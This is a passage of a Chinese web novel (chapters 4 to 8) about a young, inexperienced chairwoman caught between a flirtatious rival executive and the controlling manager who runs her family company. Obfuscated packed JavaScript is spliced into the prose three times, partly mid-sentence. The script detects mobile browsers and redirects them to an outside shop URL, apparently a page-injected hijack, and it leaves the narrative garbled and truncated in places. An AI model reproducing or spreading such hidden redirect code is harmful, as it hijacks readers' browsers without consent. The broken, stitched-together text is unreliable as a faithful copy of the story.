蒋柏政想了想,“我听说在中心路有一家菜馆,里面环境不错,菜的味道也不错,李董尝尝吗?” 李婉平点头。 接下来就是一路无话,车子平稳地驶入公路,驶向了市中心的繁华商业区。 蒋柏政把李婉平领进了一家看上去装璜非常优雅的餐厅,大抵蒋柏政是这里的常客,服务员都认识他,熟门熟路将李婉平和蒋柏政领进了一间包房。 说是包房也并不是完全封闭的,那是一条船,古代的那种小渔船,用餐的地方在船舱里。在小渔船的四周是一个人造湖,不算大,水位很浅,大约也就只有十厘米左右。在水位上弥漫着一层白烟,应该是干冰,小渔船就置于白烟之间,有一种仙雾缭绕地感觉。 蒋柏政将菜单递给李婉平,“看看想吃什么。” 李婉平说都可以,又不着痕迹地把菜单推了回去。 蒋柏政继而随便点了十多样东西,点完后又吩咐服务员,“上菜快一些。” 服务员点头记下,然后转身离开。 蒋柏政饶有趣味看着李婉平,挪着椅子不着痕迹地往她身边靠了靠,“李董好像跟我很生分,其实我们两家很早之前就已经认识了,你父亲与我父亲是生意场上的合作伙伴,我们两家有很多项目都是共同合作完成的。” 蒋柏政很聪明,他太知道李婉平现在在李氏集团的处境,所以,他先抛了块砖,把李婉平当前最关心的问题引了出来。 果不其然,一听到生意上的事,李婉平下意识就抬眸看向了蒋柏政。 蒋柏政继续打亲情牌,“当初我父亲刚接手盛和集团的时候遇到了资金周转不足的问题,是你父亲仗义出手,帮我父亲度过了难关。后来我父亲就时常跟我讲,要让我学会感恩,说得我耳朵都要起茧了。” 蒋柏政边说边无奈地笑,他的语气很诚恳,但内容其实都是编的,没有一句是真话。 但李婉平并不知情,反而因为这番话对蒋柏政有了一丝好感。 蒋柏政看着李婉平的眼神非常明亮,不掺杂一点点杂质,“但不成想李叔走的这样突然,我都还没来得及为他做点什么,想来真的是很遗憾。” 他顿了顿,又放柔了声音对李婉平道:“不过现在你接手了李氏集团,如果有什么需要,你尽管向我开口。如果我能做到,定不推辞。” 李婉平一时不知道该说什么,但在蒋柏政那样认真恳切的目光下,李婉平还是礼貌回了他一个浅浅的微笑,“谢谢。” 样式精美的菜品很快一样一样摆了上来,蒋柏政绅士招呼李婉平吃东西。 李婉平的饭量很小,但桌上的菜品也正好都是小份量。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蒋柏政随即道:“没别的意思,想着以后工作上可能会有联系,毕竟我们两家也是多年合作,往后合作的项目应该也不会少。” 李婉平知道蒋柏政的话在理,但还是有些为难:“我……那个……现在公司都是周总在负责,项目上的事情,我……我可能说了也不算。” 蒋柏政的面孔仍然是温文尔雅的浅笑,“李董刚刚接手公司,很多业务不熟悉暂由周总代劳也无可厚非,但李董总要有独当一面的时候,我期待能与李董共同拓展商业版图的那一天。” 这句话一下子就戳中了李婉平的内心,她眼眸微垂着,想说什么,但又怕说错。 蒋柏政开了车门锁,很绅士帮李婉平打开了副驾驶的车门,“李董,小心些。” 这句话一语双关,一是让李婉平下车时小心些,二是让李婉平小心什么,李婉平的脑海中闪过一个念头,但并未抓住。 李婉平匆匆点了点头,“今天……今天真的谢谢你了,蒋总。” 她道了谢,然后快步下车,跑回了公司。 而这一幕全部被站在落地窗前的周垣尽收眼底。 站在周垣身后的何锐不屑轻嗤,“久闻蒋柏政风流,今日一见,果然如此。” 周垣却并不在意,“你看他有几分真假。” 何锐微微思量,“李董年轻漂亮,蒋柏政对她应该也有三分真吧。” 周垣闻言嗤了声,“恐怕一分也没有,蒋柏政看中的不是李婉平这个人,而是她背后的李氏集团。” 何锐微惊。 周垣把玩着手里的打火机,“李婉平不能落在蒋柏政手里,那样的话,李氏集团就要改姓蒋了。” 何锐蹙眉,“那……依您之见?” 周垣不语,但那双漆黑的眸子却染了几分深。 5. 第5章 另一边,李婉平刚到办公室门口就被赵曼喊住了。赵曼说,周垣找她。 李婉平微微点头,进到办公室里喝了杯水,又匆匆去了周垣的办公室。 周垣的办公室里只开了一排壁灯,拉着窗帘,光线非常昏暗,李婉平敲门进去的时候,周垣正坐在办公椅上看着对面投影幕布上的PPT。 周垣见李婉平进来,指了下斜对面的沙发,“坐。” 李婉平赶紧走过去坐下。 但她才坐下,周垣就用遥控器暂停了PPT,“这是一项正在洽谈的房地产工程,你看一下,看完了给点意见。” 李婉平顿时有些受宠若惊。 因为自从她接手李氏集团以来,她基本就是个摆设。周垣从不跟她谈工作,更遑论听一听她的意见。 李婉平心里很是高兴,连忙点头说好。 周垣继而又按下播放键,这时周垣办公桌上的座机响了起来。周垣按下免提,电话那头立刻传来前台接待的声音,“周总,盛和集团的蒋总找您。” 周垣闻言皱眉,他今天没约蒋柏政,蒋柏政也没约他。忽然这么不请自来,不是有急事就是有幺蛾子。 周垣冷声回前台,“请他进来。” 李婉平一听这话便有些犹豫站了起来,“那……那我……” 周垣示意她坐,“你看你的,不碍事。” 这时办公室的敲门声响起,周垣说了句:“进。” 就见前台接待打开门,然后把蒋柏政领了进来。 周垣依旧坐在沙发上并未起身,只皮笑肉不笑瞧着蒋柏政,“蒋总有什么事吗?” 蒋柏政亦假笑回他,“我是来找李董的,但刚才去李董办公室,赵助理说李董在周总这里,所以我就过来看看。” 周垣不动声色扫了李婉平一眼,但并未说话。 李婉平顿时有些紧张起来。 她不是傻子,能看得出周垣与蒋柏政不对付,而她现在又是个傀儡董事长,自古以来,权臣最忌讳皇帝勾结别的势力,所以,不管李婉平私心觉得蒋柏政这个人怎么样,但她不能让周垣觉得她是在有意接触蒋柏政。 毕竟,李婉平现在的处境是需要倚仗着周垣,她不希望因为蒋柏政而得罪周垣。蒋柏政对她而言,往多了说,撑死算个朋友,但周垣就不一样了,他掌控着整个李氏集团,自然也掌控着李婉平。 周垣不高兴了,蒋柏政救不了她。这里面的利害关系,李婉平即便再笨也能掂得清楚。 李婉平咽了咽口水,有些局促问蒋柏政,“有什么事吗?蒋总。” 蒋柏政那风流不羁的眉目漾起浅笑,从裤口袋掏出一部手机递给李婉平,“方才李董走的急,手机落在我车上了。” 李婉平面色微变,她几乎是下意识抬眼看向了周垣,但周垣只是坐在那里,面容上没有一丝波澜,也没有看她。 李婉平飞快起身去接过手机,“谢谢蒋总……” 蒋柏政笑容更深,“下次有空再请李董吃西餐,我还知道一家很不错的西餐厅,李董应该也会喜欢。” 李婉平几乎要把头垂到胸前,很轻很闷应了一个音阶。 蒋柏政的眼眸暗了暗,适可而止,转而又对周垣官方客气道:“那周总你们忙,我先走了。” 周垣无波无澜嗯了声,语调不高不低,却暗藏冷冽,“不送。” 蒋柏政继而对李婉平摆了摆手,然后推门离开。 办公室的门开了又关,“啪嗒”一声,最后趋于平静。 李婉平的脸色有些苍白,但还好办公室里的光线暗,并不容易察觉。 她想了想,有些支吾,“那个……我今天中午刚好碰到蒋总,其实也不是故意跟蒋总走的近,我知道周总不喜欢蒋总,我只是……” 周垣好笑,“谁跟你说我不喜欢蒋总?小孩子吗?” 李婉平有心想要再解释几句。 周垣却又先声打断,“我明白你想说什么,但蒋总即是我们的竞争对手,也可以是合作伙伴。你跟他走动没坏处,但蒋总这个人心思深,什么话该跟他说,什么话不该跟他说,你自己掂量清楚。” 李婉平摸不着周垣这话是真心还是假意,只能点头,小声说好。 周垣重新将PPT调至开头,“继续看。” 李婉平也只好把精力都集中在PPT上,但她并没怎么看懂。上面很多条款都写得模棱两可,如果不仔细推敲,很可能就会被对方钻了空子。 PPT持续播放了二十多分钟,放完之后,周垣起身将窗帘拉开。 正值下午,阳光很好。阳光透过玻璃折射进来,使原本昏暗的房间一下子就明亮起来。 李婉平一时不能适应光线,微微眯了下眼睛。 周垣将一叠纸质文件放到李婉平的面前,“这是附加条款,你一并看看。” 李婉平点头接过,捧着文件从头到尾仔仔细细阅读。 周垣探出手臂拿过办公桌上面的烟盒,慢条斯理地点了一根,打火机喷射出的蓝色火苗笼罩住他的眉眼,弱化了几分他的凌厉。 李婉平看完资料还是没有全部看懂,只挑了她明白的说,“这块土地以前被政府规划为了绿化用地,现在虽然规划作废,但上面也没有明确的文件。所以,如果现在拿这块土地作为商用,很可能会有风险。” 周垣叼着烟慵懒开口,“那依李董之见,这块地我们要不要?” 李婉平微微咬了下唇,“这块地买过来万一不能作为商用,我们就会血本无归。我觉得,如果要做商用,还是要买保险一些的地皮比较好。” 周垣嘲讽笑,“是投资就有风险,你看了半天,就看出这么点问题?” 李婉平顿时就不说话了。 周垣掸烟灰,“看来李董的商业知识的确非常欠缺。” 他说着,单手拉开办公桌的抽屉,从里面拿了一把钥匙扔在桌面上,“这是我隔壁房子的钥匙,你搬过来住。” 李婉平一愣。 周垣言简意赅,“白天没有时间教你,晚上下班之后,我可以教教你怎么处理这些文件。” 李婉平的眼眸顿时亮了亮,但也就只有几秒钟的时间,她的眼眸便又很快暗了下去。 她有些局促,两只手不由自主地纠在一起,“我很愿意学,也很感谢周总愿意教我。但……但我怎么好意思住周总的房子,我学完可以回家的。” 李婉平不傻,且不论周垣是不是真想教她看文件,但如果她真住到周垣的隔壁,岂不是被监控了? 周垣无波无澜瞧着李婉平,“我没时间送你。” 李婉平立刻道:“不用送,不用送,我可以自己回家。” 周垣微微向后仰靠着座椅背,面无表情,“我不可以。” 李婉平又是一愣。 周垣继而道:“你觉得让一个女人晚上自己回家安全吗?如果你在路上出什么事,人是我叫来学习的,我也会有一定的责任,我何必给自己找这种麻烦?” 李婉平顿时哑口无言。 周垣将烟掐灭在烟灰缸内,灰烬粉碎,“随李董便,李氏集团说到底也不是我的公司,将来会发展成什么样也跟我没有太大关系。如果不幸,李氏集团没有在李董手上发展下去,于我而言,也不过就是换个地方继续工作罢了。” 周垣说着,就要伸手将桌面上的钥匙拿回来。 李婉平顿时一个箭步迈过去,先一步眼疾手快将钥匙握到了自己手中。 她看着周垣,周垣也同样看着她。 虽然但是,万一中的万一,万一周垣愿意教她。 李婉平咽了咽口水,小心翼翼:“周总,你……你真的愿意教我吗?” 周垣闷声轻嗤,“我骗一个小姑娘图什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628868|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李婉平微垂了眼眸,她看着手中的钥匙,几秒钟的时间,像是下定了很大的决心,“那……那这间房子的房租由我来出。” 周垣片刻沉默,语气慢慢悠悠,“好。” 李婉平便不再多言。 周垣继而从电脑上拔了U盘,U盘里面就是方才播放的PPT。周垣将U盘递给李婉平,“这个你拿回去看,有不懂的地方就列出来,晚上我给你讲。” 李婉平微怔,“今天晚上就讲?” 周垣一脸不可置否,“怎么?” 李婉平连忙道:“不……不是,我是想着,我即便要搬过去,也得先回去收拾一下东西。” 周垣淡漠嗯,他抬起手腕看了眼腕表,“现在是下午三点,你回去收拾,晚上来得及。” 李婉平不明白周垣为什么要这么急,一时杵在那里没有说话。 周垣露出几分不耐,“听不懂吗?” 李婉平当然不敢跟周垣怼,立刻恭敬应下,说听懂了。 她不想得罪周垣,也不敢得罪。 周垣便没再说话,但意思却已经表达的很明确,李婉平可以走了。 李婉平不着痕迹呼出一口气,然后拿了U盘,一溜烟儿离开了周垣的办公室。 她从办公室出来就直接回了家。 其实也没什么可收拾的,这个家对李婉平来说印象并不深刻。 她在八岁的时候,母亲就因病去世了。父亲忙着工作,就把李婉平直接扔去了寄宿学校。李婉平的大学是在国外读的,毕业回国后没几天,父亲又突发脑溢血去世。 也就是说,对于李婉平而言,亲情和家这两个概念都非常稀薄。 李婉平打开衣橱将几件衣服扔进了行李箱,想了想,又拿了些日常的洗漱用品。也就这些了,别的东西如果有需要,李婉平可以再买。 收拾完这些,李婉平又拎了她的笔记本电脑便直接去了周垣给她租的房子。 那里是位于市北区的一幢高层公寓,公寓的格局是两户一层,一共三十八层。周垣就住在最顶楼,从那里的落地窗探出去,可以俯瞰整个城市。 李婉平以为自己住的这套房子是周垣帮她租的,但其实,顶楼的这两户都是周垣的房产。 周垣喜静,所以当初他看中这里的房子时,他便一次性把一层的两套房子都买了下来。 只不过这一点李婉平并不知道,而周垣也没打算告诉她。 李婉平对房价是没什么概念的,因为不出意外的话,她这辈子也不需要买房。她自己家就是一套别墅,在郊区还有一套小别墅。李婉平家里就她这么一个女儿,两套别墅的继承人自然也就是李婉平。 但现在面临一个问题,她要给周垣交房租。她不知道该给周垣多少钱合适,她可以问,但她怵头看到周垣那嫌弃她的表情。 想到这里,李婉平微不可查地叹了口气。 她果然还是怕周垣的。 李婉平把车停在地下停车场,然后拎着行李坐电梯直达顶楼。 进门之后李婉平就懵了,这里是个很空旷的屋子,很大,里面什么家具都没有。 李婉平忽然后知后觉反应过来,她把问题想简单了。 她原本以为她可以拎包入住,别的不说,至少沙发和床这种最基本的家具应该是有的,最多也就是买个床单被罩什么的。但事实却是,这屋里连个板凳都没有。 李婉平足足站在原地愣了两分钟,如果可以配图,真的是有一群乌鸦从李婉平的头上嘎嘎飞过。 李婉平默了默,掏出手机看了眼时间,已经是下午四点半多了。这个时候再联系搬家公司,估计要一直忙到晚上。但如果不联系搬家公司,她现在自己出去买家具也来不及了。 李婉平想来想去,唯一的办法就是,她现在开着车出去买床单被罩,然后晚上在这里打地铺。 6. 第6章 说干就干。 李婉平一路直奔附近的商场,大包小包买了一堆,什么床单被罩、小型的单人沙发,甚至还有热水壶,但太多了,李婉平一次性拿不了,就连续跑了好几趟。 在第三次从商场跑回顶楼的时候,李婉平已经累得跟孙子一样。 她抱着两大包东西坐电梯到达顶楼,电梯门一开,迎面就遇到了周垣。 周垣瞧着李婉平这一堆一堆的东西,微微皱了下眉。 李婉平顿时有些尴尬,声音很轻,“我……我去买了点东西……” 周垣面无表情,“你该不会是,只带了日常用品过来了。” 李婉平默了默。 周垣慢条斯理地道:“所以,你以为我让你下午三点就回去准备,只是让你回去准备日常用品?” 李婉平又默了默。 周垣瞧着她,“是你傻还是我表达的不够清楚?” 李婉平恨不得趴在地上装死,她从来没觉得自己这么丢人过。 她的声音很低,轻如蚊音,“是我傻……” 周垣慢悠悠哦了声,“我也觉得是你傻,所以,你今天晚上打算怎么办?” 李婉平咬了咬牙,心一横,实话实说,“我打算打地铺,先凑合一晚,没关系的。” 周垣没说什么,自顾自回了自己家,把李婉平扔在了外面的长廊上。 门“砰”地一声关上了。 李婉平强撑过这一段,抑住的丢脸之感突然反弹,脸上腾地一红,然后她一溜烟也赶紧跑回了她自己的房子。 但回去之后她又发现了一个问题,她忘了买饭。 再下楼去买是不可能的,今天已经够累了,李婉平说什么也不会为了一顿饭再把自己折腾一趟,但点外卖也有一个问题,她不知道这幢公寓楼的楼号…… 李婉平感觉她今天真的是出门没看黄历,从中午遇到蒋柏政开始,她就一直水逆到现在。 李婉平愁眉苦脸瞅着自己手里的手机,不知道该怎么办的时候,手机却忽然响了起来。 李婉平吓了一跳,差点把手机给扔出去。 她下意识拍了拍胸口,垂眸顾了眼来电显示,居然是周垣。 李婉平轻轻按下通话键,尽量放平和了声音,“喂,周总。” 电话那边很快便传来了周垣的声音,“会做饭吗?” 李婉平一愣,“啊?” 周垣不耐烦又问了一遍,“我问你会做饭吗?” 李婉平这才赶紧道:“会……会做。” “过来。”周垣扔下这俩字就直接挂断了电话。 李婉平呆了两秒,然后将手机移离了耳朵。 她继而起身出门,走了几米就走到了隔壁的门前,门没有关,只是虚掩着。 李婉平想了想,还是抬手敲了下门,“周总。” 房间里很快便传来周垣的声音,“进来。” 李婉平这才推门走了进去。 她诧异于周垣家里的布置,四面八方都冷冷清清的,除了最基本的家具便再无其他。因为房子很大,东西很少,所以一进门给人最直观的感觉就是空荡。 李婉平继而往客厅里走,周垣就坐在客厅的沙发上,此时正翻阅着一份报纸。 周垣听到脚步声漫不经心抬眸扫了李婉平一眼,然后淡淡地道:“厨房里有食材,去做饭。” 李婉平不是很明白周垣这言简意赅的意思,小心翼翼地问:“做我们两个人的饭吗?” 周垣闻言翻阅报纸的手一顿,抬眸瞧着她,“这里还有第三个人吗?” 李婉平:“……” 其实,她是想问,这顿饭有没有她的份。 因为周垣向来喜欢使唤人,他让李婉平过来做饭,很有可能只是让李婉平给他自己做饭,没有李婉平的份。如果是那样,李婉平不事先问清楚,等做完上桌了,那岂不是很尴尬。 正自琢磨着,李婉平不经意间对上周垣那双深邃的眼眸,她怔了下,连忙躲开,然后赶紧转身走进了厨房。 周垣坐在那里看着李婉平的背影,那眼神,就跟在看一个傻子,很不友好。 周垣是不会做饭的,他平时除了点外卖就是出去吃,如果很忙就直接不吃。 他今天晚上是没打算吃饭的,不太饿。但拿起文件的时候就忽然想起晚上还要教李婉平,就又想到如果这个小丫头会做饭的话,把她叫过来给自己做一顿晚饭似乎也不错。 事实证明,周垣想的没错。 李婉平不仅会做饭,而且做的还很好。 她一共炒了两个菜,西红柿炒鸡蛋、辣椒炒红肠。 周垣家里没有馒头,李婉平便蒸了点米饭。 很家常的两道菜,但味道却很好。 这么多年以来,李婉平最擅长的两件事,一是打扫卫生,二是做饭。都是生活给逼出来的,谁让她从小被扔在寄宿学校,大了又一个人生活在国外。 闻着菜香,看着美食,原本不饿的周垣也饿了。 他拿起筷子夹块鸡蛋放进嘴里,鲜咸适中,似乎是放了点糖,中和了西红柿的酸,糯而不油。 周垣点了点头,“厨艺不错。” 李婉平腼腆的笑了。 她是真的下了功夫,平时自己在家里吃都是那么随便一炒,但今天给周垣做饭,她是特意又用手机查了下食谱,生怕自己做的不好,不对周垣的胃口。 其实,李婉平这么讨好周垣也是有私心的。不想得罪周垣只是其一,但最重要的是,李婉平是真心想要跟着周垣学东西。不管李婉平愿不愿意承认,周垣的学识和能力都是不容置疑的。如果周垣真的愿意教李婉平,那么,这么优秀的老师真的是打着灯笼都难找。 但李婉平不知道的是,她这一番讨好算是白瞎了。 因为周垣从一开始就没打算真的教她。 周垣又不傻,他把李婉平教成一个可以独当一面的女强人,那李氏集团还能让他掌控在手里吗? 周垣只是看蒋柏政对李婉平动了心思,出于对利益的危机感,他才先下手为强,跟李婉平打感情牌,施展怀柔政策,把李婉平先控制住罢了。 饭后李婉平主动收拾了碗筷。 周垣就坐在沙发上,叼了根烟,看着李婉平在厨房里忙忙碌碌的背影。 她有着柔软顺服的长发,白净修长的脖子,削瘦的肩膀,纤细的腰肢,笔直漂亮的小腿。这些女性独有的特征落在周垣的眼里,没来由的,在心底的某一处,有一丝很微弱,不经察觉地情愫,一闪而逝。 周垣继而收回目光不再看她。 李婉平收拾好碗筷之后就从厨房里端着一份果盘出来了,她将果盘放到周垣面前,然后诚恳地道:“周总,今天晚上可以教我看文件吗?” 周垣不咸不淡地嗯,抬手拿出早就准备好的一堆文件扔给李婉平,然后开始一本正经地胡说八道:“想要看懂文件里的条款和漏洞就要多看文件。你看的越多,懂的就越多,这就跟积累经验是一个道理。” 他顿了顿,指了指那一堆文件,“看吧,今天晚上先把这些文件过一遍,把不懂的地方列出来,我再跟你讲。” 李婉平点头应着,又小心翼翼地道:“今天下午那份文件我已经看完了,有几处不明白的地方我也已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李婉平点了点头,然后认认真真地将那些文件收拾好,双手递还给了周垣。 这一空档,周垣瞧见李婉平那写得密密麻麻的笔记本,手一伸,李婉平微愣,紧接着反应过来周垣是想看她记得笔记,又连忙将笔记本递给了周垣。 周垣接过笔记本扫了眼,写得很认真,很详细。里面写了很多关于文件条款的注意事项,以及可能会涉及到的漏洞。 周垣忽然有些意外,意外李婉平并不像他想象中的那么单纯。李婉平并没有列出一些肤浅的问题,而是根据她自己的想法,对文件进行了分析。 周垣意识到李婉平其实非常具有经商天赋,她的脑子很活,而且看问题看的很深。也就是现在她还年轻,也没什么实践经验,但如果她有,她一定会是一位眼光独到的商人。 周垣的眼眸微不可查地暗了暗。 李婉平并未发现周垣的这一变化,有些紧张地问周垣,“周总,我……我写的还行吗?” 周垣闻言弯了下嘴角,这一分笑,弱化了他眼眸中的深沉,“很好,你对这些文件分析的都很到位。” 李婉平的心情瞬间好了很多。 周垣继而将笔记本还给李婉平,“很晚了,你留在这里休息吧。” 李婉平一愣。 周垣从沙发上站起来,“睡沙发应该会比打地铺舒服一些。正好今天晚上我还有个应酬,你睡在这里也没关系,记得明早走的时候把门带上即可。” 李婉平就要婉拒。 但周垣又先声道:“我可不希望明天李董因为打地铺来跟我请假,说什么脖子落枕了,胳膊受凉了之类的话。” 李婉平:“……” 但其实该说不说,地板凉,女生的身体又普遍怕凉,周垣方才说的话,也的确有可能会发生。 李婉平的声音很轻:“那……那我明天帮你做好早饭再走。” 周垣随口扔了句,“好。” 他话落,便拎了外套,然后便迈步出了门。 7. 第7章 周垣去的地方是一家夜总会。 他根本就不是出来应酬,但这回他的确是好心。他不想让李婉平睡在地上,但如果他不出门,恐怕李婉平也不会同意在他家里留宿。 夜渐浓,霓虹灯在黑暗之中显得越发绚丽夺目。周垣抵达夜总会门口将车停好,一进门就有个艳丽的女人迎了上来。 女人明显是认识周垣,小步走近,十分亲昵挽住周垣的胳膊,“哎呀周总,好久不见了~” 周垣任由她挽着,“你们梁总在吗?” 女人娇笑,“这可巧,梁总今天正好在。” 周垣点头。 女人熟门熟路将周垣领进一个包间,包间里面已经坐了四个男人和六个女人,此时正围在桌子旁打麻将。 他们一看到周垣进来,其中一个穿着花衬衣的男人就吹了声口哨,“哟,稀客啊!” 周垣笑着走过去,半开玩笑,“看来没我的位置了。” 花衬衣男人立刻就站起身来,“哪能没有周总的位置,我这就给周总腾地方。” 周垣先一步按住他的肩膀,“你玩你的,我帮你们看牌。” 坐在花衬衣右边的一个微胖男人赶紧又站了起来,“周总来的巧,我老婆刚给我打电话,催命似的催我回家,周总来了刚好替我打两把,我感激不尽,感激不尽。” 那个男人说着就离开了位置,连请带让将周垣让到了座位上。 周垣心里有数这是人家跟他买好,也就没拒绝,只客套了两句,“那高总路上注意安全。” 被称为高总的男人连忙客气地回:“好说好说,那大家都玩着,我先回了。” 他话落就揽着一个女人向包间外面走去,其余男人分别跟他点了下头,算是招呼。 周垣落座后的对桌就是梁总,全名梁志泽,是梁氏集团的小太子爷。梁氏集团的董事长一共有两个儿子,大儿子内定了接班,小儿子梁志泽只能另辟门路。 梁志泽跟周垣关系很好,一是年龄相仿,二是能力手段也旗鼓相当。 当初梁志泽为了避免与周垣的事业版图起冲突,还特意放弃了E市的一块商圈,把名下的一家夜场开到了G市。 就着这件事,周垣就顺便起了个话头,“你在G市的夜场怎么样了?” 梁志泽嘴边叼着根烟,一副吊儿郎当地样子,“还行,不赔。” 周垣漫不经心捏着牌,“我在G市北郊有块地一直没用,你要是有需要,成本价给你。” 周垣说完这话,一旁的花衬衣男人就笑着调侃了一句:“我记得那块地是李氏集团的,周总能批吗?” 不等周垣说什么,梁志泽先痞笑了,“阿厉,这你就不懂了,现在的李氏集团就姓周。” 被称为阿厉的花衬衣男人灌了口啤酒啧啧两声,“那感情好,我听说李氏集团的新任董事长是个小姑娘,刚大学毕业,啥也不懂,根本不足为惧。” 周垣摸过烟盒点了根烟。 他莫名想起李婉平认认真真看文件的样子,眼眸不觉深了几分,“能不能构成威胁还要看以后,有些事也不能只看表面。” 梁志泽闻言抬眸扫周垣一眼,“怎么?你连个小姑娘都搞不定?” 周垣衔着烟,雾气熏得他微微眯眼,“还在可控范围之内,应该翻不出什么花样。” 梁志泽将烟蒂掐灭在烟灰缸,偏头又让身边的女人帮他点了一根,“女人是不能只看表面,多长个心眼儿是对的。” 周垣闻言挑了下眉。 梁志泽掸烟灰,“G市[水云间]的老板蒋蓉听说过吗?” 周垣不咸不淡嗯了声,“怎么?” 梁志泽道:“那娘们儿串通A市的周舜臣算计阿筠,最后还能把阿筠拿捏得死死的,服吗?” 周垣嗤了声,“那是严筠自己愿意,不愿意就是另一个结果了。” 梁志泽扔了张北风出去,跟着笑,“那倒也是。” 恰在这时,坐在梁志泽左手边一直没有说话的男人打了张三条,周垣扫了眼自己的牌,不慌不忙把牌推倒,“承让。” 众人调侃,“周总这手气还真是一如既往的好。” 周垣从唇边拿下烟蒂,碾灭在烟灰缸里,他呼出的一团烟气吞没了房梁上的水晶灯,几分模糊,“还是齐总送的牌好。” 众人又笑,紧接着又开了一局新的。 他们一行人一直玩到后半夜才散局,周垣直接开了个房间睡在客房。次日八点多的时候,周垣才从夜总会离开,回到家李婉平已经走了。 李婉平在玄关的显眼处贴了张字条,上面就一句话:「周总,早餐在厨房的保温盒里。」 周垣继而迈步走进厨房,在厨房的桌面上的确放了三个保温盒。周垣将它们一一打开,两菜一汤加鸡蛋煎馒头。 周垣并未将它们端到餐厅,就那么站在厨房里,连个椅子都没搬,拿起筷子站在那里吃了起来。 周垣已经很多年没有这么好好的吃顿早饭了,大约是十一、二年前,或者是十三、四年前,大抵就是那么个时间,他的母亲去世了。从那之后,周垣的早餐就成了一件可有可无的事。 如果他不忙,他就自己煮一包方便面,或者出门买点豆浆油条。但如果他忙,早饭就直接省了。 在周垣的记忆里,只有他母亲还在世的时候,他才会吃上营养均衡的早餐。他的母亲会大清早的起来给他做饭,也是有菜有汤,跟李婉平做的差不多。 周垣将李婉平做的早餐全部吃完,然后才去浴室洗了个澡。洗完澡后,他换了衣服驱车开往公司。 坐到周垣这个位置,上班是没有固定时间的,因为他的工作是决策,而非日常。 他到公司的时候已经是上午十点多,一进公司大楼,远远就瞧见一群女员工聚在一起热火朝天地聊着。 周垣隐约听到“李董”、“蒋总”的字眼,在路过那群女员工的时候,她们依旧在聊的热火朝天,丝毫没有发觉她们的老总已经向她们走了过来。 其中一个女员工嗓门特别大,兴奋地说了句:“蒋总到底是不是在追李董啊?” 另一个女员工刚要回话,抬头不经意间看到周垣,顿时吓得脸都白了。 上班时间闲聊,按规章制度要扣工资。 那群女员工这才反应过来,一转身,都齐刷刷看到了已经快要走到面前的周垣。 她们个 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周垣说不必了。 高兴不高兴的跟他又没什么关系。 周垣将何锐给他的文件一一签字,“这周的单据都给李董了吗?” 何锐说给了。 周垣嗯,“你去请李董来一趟。” 何锐恭敬应下,然后转身快步离开了办公室。 何锐走后,周垣坐在办公椅上若有所思地瞧着窗外。 看现在这个局面,蒋柏政是真的有意要接近李婉平,但如若他俩真的成了,那第一个倒霉的,恐怕就是周垣。 因为李婉平没有势力,蒋柏政一旦掌控李氏集团,他势必要对周垣下手。虽然周垣从很大程度上讲在李氏集团扎根很深,想要连根拔起也没有那么容易,但那样的交锋,周垣是占不到任何便宜的。 毕竟,战场在李氏集团,如果周垣赢,蒋柏政大不了就退回到他的盛和集团,没什么损失。但如果周垣输了,他就输掉了自己的大本营。 这种事情,周垣绝对不会让它发生。 他这么想着,门外忽然传来一阵敲门声。 周垣收回思绪,淡漠说了句:“进来。” 来人是李婉平,她穿着板板正正地职业装,长而直的黑发扎成一个马尾,整个人显得十分干练。 周垣示意她坐。 李婉平便坐到了与周垣斜面相对的沙发上。 周垣嘴角噙着浅笑,看上去温和,但其实细品又会发现危险重重。 他的语调不高不低,有些暖,“早餐很好吃,谢谢。” 李婉平顿时脸一红,“应该是我谢谢周总让我留在你家才是,要不然我就得睡地上了。” 周垣不可置否,“那么下午给你放半天假,你把该收拾的东西收拾一下。” 李婉平点头,说好。 周垣伸手从桌面上拉过一份文件,打开翻了一页,“那我们现在说公事,这周各部门上报的单据都看了吗?” 李婉平说都看了。 周垣嗯,“说说你的看法。” 8. 第8章 李婉平微微有些犹豫。 周垣双手交叠放在桌面,“没关系,有什么想法和意见都可以说出来,你是董事长,有权利管理公司的任何事务。” 李婉平的声音很轻,“各部门单据填写的内容都很合理,就是有一张……一张财务部报上来的单子,我觉得……” 李婉平的话没有说下去。 其实,如果今天周垣不问,李婉平都打算默认了。 那是一张要求给工地上基层员工发高温福利的申请单。 这原本也无可厚非。 天气马上就热了,工人们工作辛苦,该发的补贴自然是要发的。 结果在申请金额那一栏,财务部直接写了八万。 按照国/家相关规定,室外露天作业人员高温津贴标准为每人每月不低于120元。 那姑且按一个人200元算,工地一共也就一百来个人,满打满算把部分小领导的油水也算进去,五万块钱撑死。财务部写了八万,基本翻了一翻。 李婉平看过申请单上工程负责人的审核签字是徐志强。他直属周垣管理,是周垣在南郊工程的负责人。 李婉平不确定这里面的门道会不会跟周垣也有关系。 周垣闻言向李婉平伸出手,“单子拿来我看一下。” 李婉平赶紧将那张申请单递给周垣。 周垣接过来扫了眼,“李董觉得这个金额多吗?” 李婉平顿时局促起来。 按照规定肯定是多的,但李婉平也不想因为这几万块钱就跟周垣的意见相左。 李婉平微微有些后悔提了这茬事儿。 周垣没听到李婉平的声音,抬眸看她一眼,“多吗?” 李婉平只好道:“我不太懂,但是,如果按照相关规定,我没有算出这个数来……” 周垣继而又扫了眼申请单的签字栏,在财务部的审批处,财务经理也签了字。 周垣按下内部座机号。 不一会儿,电话那边便被人接起来,“周总。” 周垣道:“让韩经理来我办公室。” 对面应着。 约莫过了五六分钟,办公室的门被人敲响。 周垣说了句:“进来。” 紧接着,财务部的韩经理便走了进来。 那是一个四十多岁的中年女人,微胖,但整体看上去十分干练。 